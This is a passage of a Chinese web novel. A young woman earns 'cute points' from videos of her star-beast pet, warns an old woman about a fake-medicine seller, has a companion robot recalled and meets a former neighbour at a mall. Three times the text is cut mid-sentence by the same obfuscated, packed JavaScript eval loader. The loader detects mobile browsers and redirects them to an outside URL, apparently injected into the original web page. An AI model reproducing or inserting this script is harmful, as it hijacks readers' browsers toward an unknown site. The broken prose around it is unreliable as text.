洗漱过后的叶聆音很快将这件事抛之脑后，她先是打开网站查看了自己新发出去的那条星兽视频，并回复了一些有趣的评论。 【昨天晚上睡前看了主播的视频，没想到果真睡得很好，主播昵称里的‘不失绵’原来是这样意思啊】 【星兽不会咬人吗？主播竟然敢在家里养了一只】 【那个红色的水果看着很好吃的样子，是什么？我们这边好像没有卖的】 【看主播的IP地址在蓝梦星，会拍摄星兽视频应该就是同好吧，要不要加入我们当地的星兽爱好协会？】 …… 叶聆音一条一条浏览着评论，在看到邀请她加入什么星兽爱好协会的评论时，她犹豫了一下，暂时没有回复对方。 视频的这点播放量还达不到有收益的门槛，不过叶聆音也并非全无收获。 “做得好啊！宿主大人，截止目前为止，我们已经收集到了325萌值。”系统的欢呼声不绝于耳，“看来有不少人都被不失绵给萌到了呢~我们的不失绵真是太可爱了！” 系统说过，它可以将人被萌到的这种感觉进行量化，形成萌值。不失绵一直被她安置在系统空间，只有昨天晚上和她一起睡在外面。这325萌值的来源就是她发出去的视频了，看起来虽然曜之帝国的人不养宠物，却还会产生出被萌到了的感受。 “miu——” 原本趴在被子上的不失绵跳到了地面上，它走到叶聆音腿边抬起两只前爪，嘴里还不断发出叫声。 这是想让她把自己抱上去。 从这个角度看过去，不失绵圆圆的眼睛和毛绒绒的小脑袋实在太可爱了，叶聆音忍不住又拍摄了一段视频作为素材。 随后，她关上窗户，将不失绵抱到桌子上。 不失绵很高兴，它在桌面上跳了几下，便被窗外的景象吸引了注意力，前爪抵在窗台上，探出半个身子好奇地注视着一楼街道上来来往往的人群。 这个样子也是又恬静又可爱，叶聆音自然也拍摄了下来。 之后，她喝了一袋营养液，又喂不失绵吃过饭后便出门了。 不失绵吃的果子快完了，她准备再去楼下买一些。刚从楼梯上走下来，叶聆音再次看到了在马路对面摆摊卖假药的那个人，还有第一天买药的那个老婆婆。 她今天又来了。 还是照旧购买了三份“特效药”。 叶聆音看对方的穿着打扮，家境应该也不算富裕，甚至是人们普遍认知中的，中等水平以下。这一回她终究没能忍住自己多管闲事的心，赶在对方结账前快步上前出言提醒。 “阿婆，你买的这个药效果怎么样呀？是给家里人买的吗？”叶聆音走到摊位面前，也装模作样地拿起一罐没有喷印任何标识的药粉细细端详起来。 有人突然搭话，老妇人有些诧异地回过头看了她一眼，没有说话，叶聆音继续笑着问她：“我有个朋友也患上了黑雾病，ta一直吃的是皇家科学院研制的愈康三号。ta的病起初可严重了，连话都说不清楚，没想到接受治疗半个月后我再去看ta，已经可以正常生活了。” “只是愈康三号太贵了，如果这个药效果好的话，我就推荐给我那个朋友。ta挣钱也挺不容易的，能少花点冤枉钱就少花。” “阿婆，这药怎么样？” 叶聆音撒谎了，她根本没有这么一个朋友，患上黑雾病的其实也是她本人。 之所以这么说，是因为她想让对方明白，科学院研制的真正有效的药，半个月就能发挥作用。 叶聆音也不关心这药的效果究竟如何，因为她知道这假药根本就没用。不论这老婆婆买药给谁医治，结果都是一样的——没有好转，甚至加重。 哪怕买不起，也不要再买没效果的假药了。 当着摊贩的面，她不能把话说的太直白。 在叶聆音期待的目光中，那个老婆婆似乎产生了一瞬间的怔忪，可惜对方最终只是眼神复杂地看了看她，没说什么，无视了叶聆音的提醒继续结账，拎着药离开了。 倒是一旁的摊贩拿起自己的招牌嚷嚷起来：“怎么没效果？我的药就是起效慢而已，而且很多人嫌药苦不愿意按疗程服用，如果真的按我说的去做，绝对比那什么科学院的天价特效药好用，还便宜。你到底买不买？” 看着那个老婆婆远去的背影，叶聆音放下了手中的药罐。 “改天我朋友来了再说吧。” ———— 陈芬回到家，将今天新买的三份药放在了桌子上。随后，她按照从卖药摊贩那里得来的，一张打印出来的说明书，开始烧水熬药。 二十分钟后，房子里弥漫起一股浓重的腥苦味儿。 里屋紧闭的房门突然打开了一条缝，一个头发凌乱，神色恹恹的青年从黑乎乎的屋子里走了出来。他眼神呆滞，眼球上遍布血丝，嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862805|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角干裂起皮，像游魂一般慢慢移动到厨房门口。 看到老妇人在里面来回忙活，他在吸入了一口那令人作呕的药味后，冷不丁问道： “你在做什么？” 陈芬知道说话的人是自己的孙子陈望飞，便没有回头，只是熬药：“小飞啊，这次的药也要按时喝完，卖药的人说了，四到五个疗程以后，你的病就好了。病好以后，就能继续去军校上学了。” “不要怕花钱，你父母在外面打工的钱还有一些，而且这个药很便宜的，只要一千星币一罐。” 陈望飞倚靠在门框上一动不动，仿佛根本没有听见奶奶说的话。他茫然的目光一一扫过厨房里的各种杂物，最后停在了那个咕咚咕咚冒泡的药锅上。 “我不吃药。” “什——啊啊！” 陈芬还未反应过来，陈望飞已经出现她身旁，抬手便将那锅黑褐色的药水打翻在地。 看着还冒着热气的药水泼洒了一地，陈望飞无视了奶奶的哭喊声，露出一个渗人的笑，重新回到自己暗无天日的屋子里将门反锁。 这下不用喝药了。 陈望飞坐在椅子上，随着时间推移，他脸上的笑意逐渐消失，变成了一开始面无表情的样子。又过去了几分钟，他突然痛苦地捂住自己的头，胡乱撕扯着头发。 病情稍缓的间隙，意识到自己刚才做了什么的陈望飞几乎喘不过气。 好难受，好像有什么东西在啃食着他的神经。 自己为什么会变成这样？他原来不是这样的。 他的家庭虽然并不富裕，生活却很幸福。小时候，父母常年在外地打工，经常是奶奶照顾他。考上军校那天，他还和一家人一起去餐馆庆祝，那个时候的他说，自己要在学校里好好表现，快点赚钱带一家人过上好生活。 然而，自从他晕倒被诊断出黑雾病，又遭到退学后，一切都毁了。 最初病情不严重的时候，他一直认为自己没有黑雾病，是医院诊断错了。可现在越来越难以控制的情绪，却给他当头一棒。 他变得越来越暴躁、易怒，因为一点微不足道的小事，愤怒到要用拳头砸墙发泄，直到双手鲜血淋漓才作罢。 原本准备在老家养老的父母，为了筹集给他治病的钱只好继续外出打工。 短暂的清醒过后，陈望飞又进入了浑浑噩噩的状态，他忘记了自己一开始要做的事，开始在网络上寻找乐子麻痹自己。 在星际网上走马观花地浏览了数不清的、各式各样刺激人眼球的内容，陈望飞刷到了一个星兽吃水果的视频。 或许因为很少有人会关注星兽，看到这样内容对陈望飞来说非常新奇。 他没忍住又多看了一眼，视频中星兽的动作包括外形都没有什么特别之处，就是一个接一个地啃咬果实，偶尔停下来舔舐清理自己的爪子。 但很奇怪，自从患病后就变得急躁没耐心的陈望飞，却破天荒地把这个普普通通的视频看完了。 看到屏幕上飘出的“是否跳转下一个视频”的提示时，他还觉得意犹未尽。 陈望飞滑向下一个视频，但刚看了个开头就又滑了回来，他把那个星兽吃果子的视频又看了一遍。这一次，他看得更加用心，看视频中星兽一抖一抖的耳朵，毛绒绒的大尾巴，还有那双圆滚滚的，晶亮如宝石的眼睛。三分钟不到的视频播放完了，陈望飞就又点开看一遍。 不知反复重复了多少次，陈望飞突然惊讶地发现，自己的嘴角莫名其妙上扬了起来，观看视频时他甚至无意识地在床上滚来滚去，就连经常突突跳痛的太阳穴似乎也感觉不到异常了。 一种久违的，名为“幸福”的感觉笼罩了他，身体轻飘飘的，但稍微活动一下四肢又觉得浑身充满了力量。 陈望飞迟疑片刻，他感到自己的大脑好像雨过天晴的街道，逐渐变得清晰明朗起来。 怀揣着好奇，陈望飞点进发布视频那个人的主页，对方昵称叫“星兽不失绵”，是个不久前才刚刚注册的账号，到目前为止只发布了这一条视频。 不过，随着陈望飞按下刷新键，一条刚刚发布的新视频出现了。 12. 机器与星兽 回到房间后，叶聆音打算将今天早上新拍摄的几个片段，剪辑成一个视频发到星际网上。 坐在电脑前忙碌的时候，她的位置正好背对着墙角的储物柜。 不知为何，她总感觉心里毛毛的，就好像身后正有一双眼睛注视着自己一样。与此同时她又很清楚，这个房间里除了她之外没有其他人。 可能是受早上那个怪梦的影响，她潜意识里把小F当成有自主意识的生命体了，好像它一个小机器人真的在黑漆漆的柜子里等待有人把自己解救出去。 她随即又想起，小F因为自身的故障总是在意想不到的时候发出声音，这种感觉就更强烈了。 将视频发布到网上后，叶聆音再也坐不住。她起身来到储物柜前，将那个盒子连同里面的机器人一起取了出来。 至于小F，在叶聆音把它从包装盒里取出来之前，它就把自己关掉了。 在这几天的“面壁思过”中，它意识到主人不希望看到它不按程序规定擅自行动。 叶聆音从盒子里取出小F，看到它还是关机状态，也不去启动，直接把它拿到了桌面一角放着。 买都买了，外形也算可爱，要不就当个摆件吧。 做完这一切，叶聆音打理了屋子，准备出门去看看。她在网上看到一家商场在招收儿童区的工作人员，是临时工且不需要求职者有精神力，她之前去幼儿园面试，恰好有这方面的证件和经验。 叶聆音打算去碰碰运气。 一下楼，叶聆音就明显感受到了不对劲。往常总是乐呵呵地招揽顾客的周安国，今天却面色沉重，愁眉不展。简单聊了几句后，原来是他远在帝都星的小女儿向他诉苦，说是在学校与同学起了冲突，还被学校记了处分，因为心情不好最近总往家里打电话，可他这个老父亲除了口头安慰也帮不上什么忙。 周安国的妻子去了儿子那边帮忙照顾小孩，他考虑要不要暂时关店一段时间，去帝都星探望女儿。 下午回来的时候，叶聆音看到周安国已经在整理店面了，他搬出一箱水果，说是要送给她和宋琪。 “我来回最快也得一周时间，这些水果不能再存放下去了，你们带回去吃吧。” 宋琪拿起其中一个放在鼻子下面闻了闻，顺手把果子揣进了兜里，转而看向叶聆音：“我不爱吃水果，要这一个就行了，剩下的你都拿回去吧。我发现你好像挺爱吃水果的，经常来买。” 于是，叶聆音满载着一箱水果回来了。 从系统空间里被放出来的不失绵，发现这满满一箱各式各样的新鲜果子后，立刻两眼放光扑了上去。它用爪子来回扒拉着，像探测仪一样对着这些水果嗅来嗅去，随后四肢放松，餍足地趴在上面，只剩尾巴还在左右摇摆。 这个状态说明它心情不错。 没过多久，不失绵从果子山上跳下来，小跑着来到叶聆音脚下转来转去地蹭她的腿，嘴里还不断发出叫声。如果说最初它的叫声是用于日常交流，那么现在的这个婉转悠长的音调，更像是在撒娇。 系统在她脑海中及时解释道：“宿主大人，现在的你在不失绵眼中的形象一定十分伟岸！你出门打猎一趟就能带回来这么多食物，它这是在表达自己对宿主大人滔滔不绝的崇拜与景仰之情！” 系统说得格外夸张，不过叶聆音习惯了它这样的性子。 坐在桌前时，叶聆音下意识地抬起头看了一眼桌面上的小机器人，后者身上所有指示灯都是熄灭的。 没有自己启动。 她心中有一闪而过的、自己也说不清的失落，不过这种感觉很快被其它情绪所取代了。 她打开电脑登上网页后，本以为第二条视频也会和第一条一样石沉大海，没想到仅仅过去了半天，这条视频竟然有了三万播放，并且还在不断上升。 叶聆音点进评论区，发现第二条视频的评论区虽然也有讨论为什么会有人在家里养星兽的话题，但更多的则是【好可爱啊！】【心都化了】【我头一回发现星兽原来这么可爱】之类被萌到了的发言。 查看后台数据的同时，叶聆音自己也没忍住把那条视频又看了一遍，特别是不失绵抱着她的小腿，眨巴着一双湿漉漉的眼睛恳求她能把自己抱到桌子上的那个片段。 在星际网上，撇开其它因素，每一千播放可收益2星币。现在这一条视频是三万五千多播放量，相当于叶聆音今天赚到了70星币。虽然不多，但总好过一分钱都没有，更何况叶聆音也并未出什么力，她对这个结果还挺满意的。 到了晚上，这条视频的播放量已经上升到了五万，与此同时，系统也告诉了她一个好消息。 “宿主大人，就在刚才，我们的萌值已经累积到了1000点！可以开启商店了！” 叶聆音带着不失绵一起进入到系统空间内，果然看到在头顶计时器下方出现了新的指示栏，一共有四个框，每一个框都代表一种可以兑换的道具。 道具并不复杂，分别是萌宠罐罐，萌宠玩具，萌宠清洁器，萌宠翻译器。 果然是萌宠系统，这些道具都和宠物有关，从吃的、玩的到洗护用品甚至连互动工具都在上面。 叶聆音的目光停在萌宠罐罐那一栏，这个兑换的就是宠物食粮了吧。这一栏的图标是个金属罐头，上面粘贴着一根骨头和一条小鱼。 “可是……”叶聆音突然想到了什么，“这个世界没有养宠物的习惯，什么宠物食粮，宠物罐头都是不存在的。” 系统得意洋洋地解释：“宿主大人不用担心，为了满足不同世界的需求，这些道具在兑换出来之后会自动根据萌宠特征重新生成，就算是原来不存在的东西也能直接创造出来哦。” 叶聆音再次对系统的能力感到震惊。 也就是说，在她穿越前的世界，大多数人们会养猫猫狗狗作为宠物。在那个世界兑换出来的就是猫粮、狗粮，猫罐头和狗罐头。如果在她此刻所在的世界，既然星兽被系统判定为具有“萌宠”属性的生物，那么兑换出来的应该也是星兽爱吃的东西。 萌宠罐罐的价格是100萌值一份，叶聆音兑换了一份。 下一秒，空间的地面上凭空出现一个铁皮罐头，上面还附带了一个开罐器，外加一个圆形托盘。 叶聆音走过去弯下腰拿起那个罐头，上面没有写成分表，只是一张蓝色底图上印着好几种水果。其中就有叶聆音这些天买来的那种，还有几种她没见过。 这个包装风格，不会就是单纯的水果罐头吧？ 不失绵仰头望着她，显然也很好奇这是什么东西。 就连系统自己也不知道罐头里重新生成的究竟是什么东西，它急忙催促道：“宿主大人快打开看看吧。” 叶聆音盘腿坐下，拿起开罐器一番操作后掀开了最上面的那一层铁皮。顷刻间，一股浓郁的果香味儿从里面溢出，趴在她膝盖旁的不失绵闻到这股气味后，顿时急不可耐地伸长了脖子就要里面钻。 怕它被罐头盖上锋利的边缘划伤，叶聆音一手拦着不失绵，另一只手将罐头里的内容物都倒在了地上的托盘里。 罐头里的并非是叶聆音认知中的水果罐头，而是一个个方块形、拇指大小的蓝色晶体，虽然它们闻起来的味道就好像整个人掉进了一桶混合着无数水果的果汁里。 不失绵也没见过这样的食物，可那味道实在是太过诱人了。它围着托盘仔细嗅闻那一个个蓝色小晶体，忍不住伸出舌头舔了舔后，便一发不可收拾，直接叼起一颗小方块啃咬起来。 一个接一个，将那罐头里的蓝色立方体全部吃到肚子里后，不失绵便懒洋洋地趴在地上，半眯着眼睛晃动尾巴。 虽然外观很奇怪，不过看不失绵的样子，对它来说这个罐头应该是很美味的。 叶聆音又看了看第二个萌宠玩具，每次兑换需要1000萌值。 她刚才兑换了罐头，现在萌值余额不够了。不过，按照她现在收集萌值的速度，到明天早上想必就能补上这用掉的100萌值了。 和不失绵从系统空间里退出来时，系统再次提醒她：“有一点要提前告知宿主大人，系统道具是无法带出空间的，只能在这里面使用。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862806|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶聆音本来也没打算把系统道具带出去，毕竟这个世界还没有生产宠物用品的工厂，万一因此暴露自己拥有系统这件事就不妙了。 到目前为止，她还没和任何人提起系统这回事，哪怕是信任的家人。 谨慎一些总没坏事。 ———— 入夜，叶聆音和不失绵一起躺在床上。 叶聆音计划明天获得足够多的萌值后，就给不失绵兑换一个玩具。这样她白天出门的时候，不失眠一个在系统空间里也不至于太无聊。 今天去的那家商场同意录用她，工资按天结算。从上午商场开门一直工作到晚上关门，不过工作强度不高。 父母还不知道她其实在蓝梦星打杂工，到了月底发工资的日子，她不能表现得太寒碜。 身体躺在柔软温暖的床上，手上抚摸着星兽光滑柔顺的皮毛，叶聆音感到十分惬意，在眼皮开始上下打架的时候，她用最后一点意志力伸手按灭了床头灯。 黑暗降临，被放置在桌面上的小机器人内心窃喜。 终于等到了！ 怕主人睡得不踏实，它还故意多等了一个小时，听到屋子里传来均匀平稳的呼吸声后，小F知道，它的机会来了。 哪怕这些天没有上网，它也快要没电了。 今天主人终于把它从盒子里取了出来，却没有打开它，也没有给它充电。 不过没关系，几天前小F在网络上学习到一个说法，那就是——自己动手，丰衣足食。 让它先来找找，充电器放哪了？ 小F启动了自己的身体，转动摄像头开始在房间里寻找。晚上太黑，拉着窗帘外面的光也照不进来，它只好打开了夜视模式，虽然这会比较耗电。 只要能找到充电器，再想办法用它并不灵活的括号手给自己插上电就行了。 这样，它白天继续假装不动，晚上就可以自娱自乐了。 一番搜寻过后，小F找到了充电器的位置，离它现在的位置不算远，在电量耗尽前应该可以过去。 小F迈开自己的小短腿，一步一步朝自己的目的地前进。 这种陪伴型小机器人在日常使用中不会发出太大的噪音，但无法做到完全静音，特别是在安静的晚上。 依偎在叶聆音臂弯处的不失绵，它头顶那对毛绒绒的耳朵，捕捉到了小机器人移动时发出的声音。 黑夜中，星兽睁开了它的眼睛。 夜间依旧出色的视力，让它可以清楚地看到桌面上正在移动的小机器人。 “miu？” 这个移动的物体吸引了不失绵的注意力，在静静地盯着小机器人看了几秒钟后，不失绵站起身，无声无息地从叶聆音臂弯处绕到床边。随后，它找准角度，从床沿弹射起步，轻轻跳到了椅子上。 星兽落在椅子上时发出闷闷的“咚”声，睡梦中的叶聆音微微皱了下眉，似乎被吵到了，不过她很快又睡了过去。 不失绵抬起两只前爪搭在桌子上，抬起头看向桌面上的小F。后者也在这时注意到了它，亮着灯的摄像头转动过来，里面映出星兽那双明亮的眼睛。 小F：这……这是个什么东西？ 当它在自己的资料库里开始搜索能与之对应的生物时，不失绵后爪一蹬，竟直接跃上了桌面。它好奇地观察着面前的小机器人，看着后者的指示灯一闪一闪，便伸出一只前爪拍打在机器人光滑的圆脑袋上。 就在这时，小F储存的电量刚好下降到了一个阈值，是开始提醒用户电量告急，要尽快充电的阈值。 伴随着快速闪烁的灯光，一声尖锐的警报骤然响起。 以为对方要发动攻击的不失绵吓了一跳，它像根弹簧一样朝前发射出去，来不及收起的后爪擦过小机器人的身体，在这股力道的作用下，小F的身体失去了平衡，仰面朝后倒了下去。 它从半米多高的桌面坠落到了地上，碰撞产生的威力震开了本就不牢靠的一片外壳。破碎的开口处，一个指甲盖大小的不知名薄片从里面弹了出来，滑到了柜子下面。 13. 林天诚 接二连三的碰撞声让酣睡中的叶聆音惊醒了。 她打开灯，就看到不失绵畏畏缩缩地躲在柜子顶上，小F被撞到了地上，白色外壳掉了一块，露出凹凸不平的内部结构。 叶聆音连忙起身，将小F和它的身体碎片捡起来放到了桌子上。这时，不失绵也从柜子上面跳了下来，它走到叶聆音身边，看着她“miu、miu、miu”地大声叫起来，好像要告诉她一些什么。 可惜叶聆音听不懂星兽的叫声，而且现在是大半夜，叶聆音怕会吵到邻居，只好先带不失绵到系统空间里安抚了一会儿。好不容易等不失绵再次睡着了，她才来到桌前查看小F的损坏程度。 所幸那片掉下来的白色外壳本来就是与主体分割开的，她找准位置，对着凹槽轻轻一压，小机器人又恢复了原状。 只是她看不出来内部到底有没有损坏，叶聆音按下开机键，机器人的显示屏突然亮了起来。 上面提示是否要关机。 这说明机器人原本就是开机状态，怎么回事？是它自己启动了，还是在掉地上的时候碰巧撞到了开机键？ 而且不失绵睡得好好的，为什么突然去碰这个小机器人？叶聆音对比了机器人原本的位置和它掉在地上时的位置，从一个桌角到另一个桌角，距离相差还挺远的。 是不失绵用爪子把小机器人拨到了那边吗？ 叶聆音取消了关机，小机器人响起熟悉的声音。 “小F提醒您，现在已经是凌晨时间，早睡早起才能精神好哦。” 听到它这么说，睡梦中被惊醒的叶聆音也感到困意渐渐恢复了。 大概率是不失绵半夜醒来了，看到小F样子奇特所以把它当成了玩具。 睡吧。 ———— 隔壁，同样被响声惊醒的还有“宋琪”，昼伏夜出了好多天，她的生物钟还没有调整过来。哪怕隔着两扇门，稍有点动静她都会醒过来。 什么情况？ “宋琪”盯着房门看了一会儿，期间隐约能听到人走来走去的声音，听脚步声就是住在隔壁那个爱吃水果的妹子，应该没什么大事，她又重新躺了回去。 她今天接到上面的消息，自己马上可以回去了。 终于不用在这破地方用这个假名生活了，杜唯心想。 帝国那边的调查有了新进展，被捕的间谍在被关了这么久以后，见大势已去终于招供，说出自己当时情急之下将盗走的实验品藏在了工厂里的某个机器人里面。但具体是哪个，他自己也记不清了。 不过这都不是问题，只要能明确实验品目前在那几千个商品机器人其中之一里就行了。 商品召回的消息应该明天就会下达至各个供货商那里，只要不出意外，寻回实验品只是时间问题。 看到光脑上传来的图片，杜唯想起，这种型号的机器人她似乎在周安国的店里见到过。 这人昨天刚离开蓝梦星，店面都锁着。 啧啧啧，执行回收任务的人员可能并不知道召回这批产品的真正目的，但科学院那边一定催得很急，下面干工作的一线可要伤脑筋了。 ———— 第二天早上，叶聆音在扫地的时候，从柜子下面扫出来一个形态不规则的小薄片。仔细凑近看，还能看到上面有一些极细微的纹路，有点像芯片。 这东西是哪里来的？ 叶聆音百思不得其解，随手将小薄片放在了电脑上面，打算等干完活儿后再仔细排查这东西是从哪里掉下来的。然而，等叶聆音扫完了地再去桌子前看时，那个放在电脑上的小薄片已经不见了。 不失绵还被她安置在空间里，这回不可能是它。 她也没有开窗户，所以不会是被风吹掉了。 怪了。 叶聆音触摸着电脑外壳，现在只有阳光照在上面，指尖碰到那块亮光的地方时暖暖的。 难道是融化了不成？ 来不及等叶聆音想明白了，她今天得去商场打工。虽然商场十点半才开门，但她通勤过去得四十多分钟，去了还要换上工作服，得预留时间。 周末出来逛街购物的人很多，叶聆音在儿童区的工作是帮助家长照看小孩。这个工作本来轮不到她，但因为之前陪小朋友们玩的机器人送去维修了，所以才要招收临时工。 专门划分出来的儿童游玩区域设置有各种大型玩具，被家长送进来的小孩一进来就在上面疯玩。乍一看上去，这项工作不需要叶聆音这个看管人出什么力，但实际做起来却并不轻松。 到了中午，游玩区的孩子们都被父母接去吃午饭，叶聆音得以休息一会儿。她接了一杯水，刚喝了一口，就听见有人叫她。 “小叶，过来帮个忙。” “来啦。” 喊她的人也是在这儿工作的一个前辈，周围同事都叫她陈姐。 陈姐把几件衣服递给了她：“小叶，你把这些要改大小的衣服送到缝纫台那边去，我要带这两位客人去B区，暂时走不开。” “好的，陈……”叶聆音接过衣服的同时，顺着陈姐的话抬眼看向她说的那两位客人，霎时间愣在了原地。 二十出头的一男一女，互相挽着胳膊，男的英俊帅气，女的小鸟依人，显然是一对热恋中的情侣。 而情侣中的男人，恰好是曾经住在叶聆音家隔壁的林天诚。 林天诚看到她出现在这里也很震惊，他那双漂亮的桃花眼微微瞪大，口中结结巴巴地念出了她的名字。 “聆、聆音？” “天诚，怎么了，你和这个柜台小妹认识吗？”盛菲扯了下男伴的胳膊。 她是天盛集团董事长家的千金，和现在的男朋友认识了不到一个月，还处在热恋期，两人如胶似漆一天都分不开。他们是在第一军校认识的，盛菲D级的精神力未能达到进入第一军校的资格，不过天盛集团一直对帝国第一军校有资助，她最后是以医疗兵的身份走特招通道进去的。 不是为了真的上战场当医疗兵，只是体验生活。 而她的新男友则是货真价实的A级，算是军校中的佼佼者了。 最近校庆放假，周边的几个地方都逛过了。她在网上看到有人推荐蓝梦星的晚霞很美，今天早上在家吃过早饭就直接开着私家飞船过来看看。 林天诚的脑袋还是懵的，倒是叶聆音最先从惊讶中回过神来，抢先一步回答了对方：“欢迎欢迎！我们以前是邻居，没想到这么久没见，你都交女朋友了。最近店里有上新，你们慢慢逛，看看有没有喜欢的。” “陈姐，我先过去了。” 叶聆音露出一个礼貌的微笑，带着陈姐交给她的衣服转身离开了。 转过身小步快跑了几下，叶聆音嘴角那个标准的弧度慢慢平了下去。 竟然会在这里遇到林天诚。 那个总是约她出来玩的邻居家的孩子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862807|176123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她被揭穿是个“骗子”后，对方就删除了两人所有的联系方式。 那段时间叶聆音整个人都沉浸在巨大的压力与痛苦之中，等发现林天诚删掉了她的时候，已经是她准备来蓝梦星的那会儿了。 至于两人的关系，当时的她即便再迟钝，也能感觉到林天诚对自己说过的很多话，已经是超出了友情的暧昧。不过那个时候的她已经和康斯年订婚了，不知道林天诚怎么想，反正在叶聆音的视角里，发现自己被删除的当时确实惊讶与消沉了一瞬，但很快她就对此释然了，也能理解林天诚的做法。 现在看来，他如今过得不错，挽着他胳膊的那个女孩从头到脚的名牌，应该是个富婆。 她低头看着自己的柜台小妹穿着，被曾经的熟人撞到这幅样子，说不尴尬是假的。 不过转念一想，自己又没偷没抢的，靠自己的双手努力挣钱，没什么不好意思的。 叶聆音也畅想过自己成为S级治疗师以后的生活，大概会被很多人羡慕吧。可现实是她只是个精神力N级的普通人，生活还得继续，无论最终混成什么样子，那也是她自己的人生。 在商场工作的一整个下半天，叶聆音都没有再遇到林天诚和他的富婆女朋友。只是在下班前，陈姐和她提起了一句。 “小叶，你给陈姐说实话，你和那个邻居是不是曾经有点什么，我见他老远远地看你。” “他还要给我100星币，托付我转交给你，说让你晚上下班后吃点好的。” 叶聆音：…… 她目前确实很缺钱，但这种施舍乞丐的方式她是绝对不会接受的。 不是因为她的品性多么高尚，纯粹是因为恶心。 叶聆音正要说点什么，就见陈姐一摊手，道：“我没收。” “其实你不说我也能猜出来是怎么回事！都是千年的狐狸，你陈姐什么炸裂三观的八卦没听过？这小子是不是为了傍富婆把你给甩了？现在和富婆故地重游，还整这么一出，这不成心恶心人吗？” 叶聆音：…… 后半段话她尚且认可，只是前面的确实和真实情况有出入。 “陈姐，不是这样的。其实我……” “行了，你也真是个体面人，都这种时候了还不戳破。在二楼卖化妆品的那个小赵你见过没，她也是和你一样的经历，找了个做直播的小白脸，后来人家和一有钱大姐好上了，分手时闹得可不愉快了，小赵把那男的脸都挠花了。” 听着陈姐绘声绘色的描述，叶聆音在脑海中构想出了二楼小赵用美甲抠在负心汉脸上的滑稽画面，忍不住捂着嘴笑出了声，气得陈姐拿指头直戳她脑袋。 “还笑呢？你个没心眼的！” ———— 夜晚，乘坐飞船回学校的林天诚望着窗外的星空失神。 没想到会在这个地方遇见她，是没法在老家生活了，才来这么远的地方吗？ 今天刚见到叶聆音的时候，林天诚差点被吓得心跳骤停。他原本还担心叶聆音会借此机会赖上自己，用两人以前的情分道德绑架他。 结果并没有，他心中便对叶聆音生出几分怜惜。 临走前，他避开女友盛菲打算给那个大姐100星币，让她转交给叶聆音，结果人家说什么都不愿意收，他只好作罢。 林天诚叹了一口气，在心中默默想着。 聆音，等我在帝都站稳脚跟后，还会经常来探望你的。 14. 病毒 叶聆音回到屋子的时候，已经晚上了。 简单洗漱一番，喂不失绵吃了东西，叶聆音就早早地趴在了床上。她今天累积的萌值已经可以兑换玩具了，可她今天实在太困，几乎是脑袋沾到枕头的下一秒就失去了意识。 第二天早上，她是被一阵急促的敲门声惊醒的。 急忙披上一件外套，叶聆音从猫眼里往外看去，是两个陌生面孔，不过都穿着执法部门的工作服。 她飞快地在脑海中回忆了一番，自己应该没有卷入到什么官司里，那会是什么事呢？ 敲门声不断，叶聆音打开了门。 站在前面的那个人出示了自己的证件后，直接开门见山道：“叶女士，天网上的交易信息显示，您于上个月29号购买了桑弗拉尔公司生产的第三代陪伴型机器人，这批产品存在很大的安全隐患，需要紧急召回。” 对方语速很快，叶聆音愣了几秒钟才反应过来这段话的意思。 产品强制召回，这在曜之帝国还是头一回。 她确实在那一天于周安国的店里购买了一个小机器人，当时买来的时候确实是有问题的。但据周安国所说，他进的货里只有这一个是出故障的，其它都是好的，并且那段时间里销量不错。 没想到竟然是全部都有问题吗？ 两人板着脸，一个字也不多说，只是催促她尽快交回那个小机器人。 叶聆音从屋里取来小F，对方接过后只说了一句，退款会在三个工作日内通过天网返回到叶聆音的账户上，就匆匆离开了。 整件事情从发生到结束不到五分钟。 从睡梦中被惊醒的叶聆音此时的脑袋还有些懵懵的。 她回到屋子，看着桌面上空出来的那块地方，心中有种怅然若失的感觉。 自己甚至都没来得及思考，这么快就把那个陪伴了自己许多天的小机器人交了出去。 不过，这也是没办法的事情，毕竟那个人说了，这一批产品有安全隐患。 这次紧急召回后，应该是会返厂维修吧 ———— 一连几天，叶聆音白天在商场工作，晚上回来剪视频。这份临时工作虽然报酬不低，但并不长久。等照顾儿童的机器人维修好，那家商场或许就不会再聘用她了。 叶聆音的主要希望还是她的萌宠事业。 不得不说，能不能在网上火起来真是一门玄学。迄今为止叶聆音一共发出了五条视频，她的第二条视频播放量涨到了十万，第五条视频目前播放量是两万多，其它几条都只有几千播放。 她作为视频的制作者，根本看不出这几条视频有任何质量上的区别。 不过，她的粉丝数是在增加的，这说明持续地输出视频是有用的。 此外，叶聆音还花费1000萌值给不失绵兑换了玩具，居然是一只和不失绵长得差不多的星兽玩偶。 